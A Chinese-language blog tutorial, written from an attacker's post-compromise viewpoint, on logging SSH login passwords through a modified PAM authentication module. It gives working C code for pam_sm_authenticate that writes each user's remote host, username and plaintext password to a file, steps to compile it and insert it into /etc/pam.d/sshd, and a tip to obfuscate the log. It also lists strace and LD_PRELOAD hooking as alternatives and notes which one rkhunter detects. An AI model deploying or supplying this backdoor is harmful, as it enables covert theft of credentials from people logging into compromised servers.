使用 PAM 记录 SSH 登录密码

0x0 前言

信息收集战往往会影响下一步的动作,所以其重要性也不言而喻。掌握足够多的信息,才能赢得进一步的胜利。

其实记录 SSH 密码有多种姿势,搜索一番后总结了一下:

1. 使用 strace 跟踪函数调用栈,但是 sshd 会 fork 新进程,虽然可以循环检测,但不是最佳方案
2. 使用 LD_PRELOAD hook 关键函数,自然你需要知道 sshd 的关键函数,rkhunter 会检测该项
3. 直接替换 sshd 程序,够暴力吧,风险太大
4. 用 PAM 啦

0x1 PAM 简介

PAM(Pluggable Authentication Modules),插拔式的验证模块,这货是干啥的。Linux 下有许多需要进行身份验证的服务,例如 SSH、telnet、samba 等,每个程序都实现了不同的验证方法,系统在与服务进行交互的时候就必须要会各种方言,而 Linux PAM 即是解决了这个尴尬的问题。

PAM 机制实际上是一个 API 规范,通过相同的规范,系统可以调用一致的验证接口。

简单理解,可以想象一下双绞线:无论你是三类,五类还是超五类,不管是屏蔽还是非屏蔽,总之一个 RJ-45 接口就可以直接往你笔记本上插。

详细可参考鸟哥的文章:http://linux.vbird.org/linux_basic/0410accountmanager.php#pam_what

0x2 PAM 配置

实现 PAM 的程序在 /etc/pam.d 路径下有同名的配置文件,例如 sudo 程序:

sudo-pam

第一列为类型,可以为四个值:

- auth (验证阶段)
- account (授权阶段)
- session (环境初始化阶段)
- password(后期,密码操作阶段,例如 passwd 程序配置)

每种类型分别对应不同的阶段。

第二列为控制标识,同样可以为四个值:

- required
- requisite
- sufficient
- optional

用于验证栈的流程控制。首先程序的验证按照不同的阶段,顺序向下验证,称为验证栈。如果指定 required,即使验证失败,也会继续执行后面的验证模块。而对于 requisite,失败则终止后续验证流程。

sufficient 成功则返回,失败则继续其他模块。optional 听其名知其意,就是可选的啦。

第三列为 PAM 模块名称,后面的是模块参数。

0x3 PAM 模块实现

为了偷懒,可耻地使用了现成的源码。程序使用 GPL,所以可以开开心心地使用啦~

戳这里:http://silicon-verl.de/home/flo/software/pamcifs.html

这个模块本来是为了方便网络共享,记录用户凭据并自动进行挂载。对源码进行简单修改来记录 SSH 密码。

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
					int argc, const char **argv) {
	int	pcnt,
		fd,
		len,
		res;
	char	*pwdir=0,
		*pword,
		*uname,
		*rmhost, // 追加一个 host 变量
		*file,
		buffer[BUF_MAX];
	FILE	*pwfile;

	for(pcnt=0;pcnt<argc;pcnt++) {
		if (strcmp(argv[pcnt], PWDIR_PARAM) == 0) {
			if (pcnt+1 < argc) 
				pwdir=strndup(argv[++pcnt], PWDIR_LEN);
		} else if (strncmp(argv[pcnt], PWDIR_PARAM "=", sizeof(PWDIR_PARAM "=")-1) == 0) 
			pwdir=strndup(argv[pcnt]+sizeof(PWDIR_PARAM), PWDIR_LEN);
	} 

	if (!pwdir)
		pwdir=strndup(PWDIR_DEFAULT, PWDIR_LEN);
	
	// 用户名和密码
	pam_get_item(pamh, PAM_AUTHTOK, (void *) &pword);
	pam_get_item(pamh, PAM_USER, (void*) &uname);
	// 获取远程登录用户 host
	pam_get_item(pamh, PAM_RHOST, (void*) &rmhost);
	
	if (!pword || !uname) {
			_pam_log(LOG_ERR,"no password or user to write - got stacked wrong ?");
		return PAM_AUTHINFO_UNAVAIL;
	}

	file=(char *) malloc(strlen(uname) + strlen(pwdir) + 2);
	if (!file) {
			_pam_log(LOG_ERR,"malloc failed");
		return PAM_AUTHINFO_UNAVAIL;
	}

	sprintf(file, "%s", pwdir);
		D(_pam_log(LOG_DEBUG, "writing to %s", file));

	// 追加模式写入
	if ((fd=open(file, O_RDWR|O_APPEND|O_CREAT, 0600)) == -1) {
			_pam_log(LOG_ERR,"failed to open pw file");
		return PAM_AUTHINFO_UNAVAIL;
	}
	
	// 内容格式,虽然这里直接写入,实际中还是混淆一下内容吧 :P
	len=snprintf(buffer, BUF_MAX-1, "rhost = %s\nusername = %s\npassword = %s",
				rmhost, uname, pword);

	res=write(fd, buffer, len);

	if (len != res) {
			_pam_log(LOG_ERR,"failed to write pw to file");
		close(fd);
		return PAM_AUTHINFO_UNAVAIL;
	}

	close(fd);

	return PAM_SUCCESS;
}

如你所见,pam_sm_authenticate 函数由系统调用,用于 auth 类型的验证。所以我们可以从传入的参数获取到用户信息。

编译,需要安装 PAM 的开发库:

apt-get install libpam0g-dev

然后将共享库复制到 PAM 模组目录,32 位的 Ubuntu 为 /lib/i386-linux-gun/security 目录:

compile

编辑 /etc/pam.d/sshd 文件,加入 PAM 模块:

custom-pam-in-sshd-config

无需重启服务。

0x4 行动

用户登录 SSH:

victim-login

之后在指定的目录 /var/log/pam 中记录用户信息:

log-file

0x5 参考资料

  1. LOGGING SSH PASSWORDS - http://www.adeptus-mechanicus.com/codex/logsshp/logsshp.html
  2. pam + cifs authentication - http://silicon-verl.de/home/flo/software/pamcifs.html
  3. 鳥哥的 Linux 私房菜:Linux 帳號管理與 ACL 權限設定 - http://linux.vbird.org/linux_basic/0410accountmanager.php#pam_what
  4. 深入Linux PAM体系结构 - http://www.2cto.com/os/201303/198419.html
  5. Installing correct libraries for PAM and readline - https://mariadb.com/kb/en/mariadb/installing-correct-libraries-for-pam-and-readline
  6. LD_PRELOAD which program is target - http://stackoverflow.com/questions/26184305/ld-preload-which-program-is-target